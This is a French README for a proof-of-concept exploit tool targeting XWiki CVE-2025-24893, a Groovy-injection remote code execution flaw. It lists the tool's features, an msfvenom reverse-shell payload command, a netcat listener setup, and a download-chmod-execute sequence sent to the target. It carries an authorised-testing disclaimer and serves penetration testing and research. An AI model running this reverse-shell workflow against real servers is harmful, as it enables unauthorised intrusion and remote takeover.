Preuve de concept XWiki CVE-2025-24893

Auteurs : Net.Doge & Infinit3i

Ce script Python exploite CVE-2025-24893, une vulnérabilité d'exécution de code à distance (RCE) dans XWiki causée par un sandboxing inadéquat dans les macros Groovy exécutées de manière asynchrone. Il permet l'exécution de commandes arbitraires via une injection dans les endpoints RSS basés sur SolrSearch.

📌 Fonctionnalités

• Exécution d'une commande unique via injection Groovy
• Génération automatique d'un reverse shell (avec msfvenom)
• Possibilité de personnaliser :
  • Cible distante
  • Adresse IP locale
  • Port du serveur HTTP
  • Port du reverse shell
• Aperçu propre des payloads bash
• Interface TUI interactive avec couleurs ANSI

🚀 Utilisation

1. Clonez ou téléchargez le script.

2. Assurez-vous d'avoir les éléments suivants installés :

   • msfvenom de Metasploit
   • Python 3
   • jq (utilisé dans les payloads bash)

3. Exécutez le script :

python3 CVE-2025-24893-PoC.py

4. Choisissez dans le menu :

   • Run Command – Exécutez une commande shell à distance.
   • Reverse Shell – Générez et déployez un reverse shell ELF sur la cible.
   • Change Settings – Modifiez LHOST, RHOST, le port du serveur ou le port du beacon.

🧪 Workflow du reverse shell

1. Le payload est généré :

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<votre_ip> LPORT=<port_beacon> -f elf -o rev

2. Il vous est demandé de démarrer un serveur HTTP Python et un listener netcat :

python3 -m http.server 8080
nc -lvnp 31337

3. Le script envoie la séquence suivante à la cible :

   • Téléchargement du payload
   • Rendre exécutable
   • Exécution du binaire

⚠️ Avertissement

Cet outil est destiné uniquement à des fins éducatives et de tests autorisés. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite est illégale et contraire à l'éthique.

📄 Référence

• XWiki
• MITRE CVE-2025-24893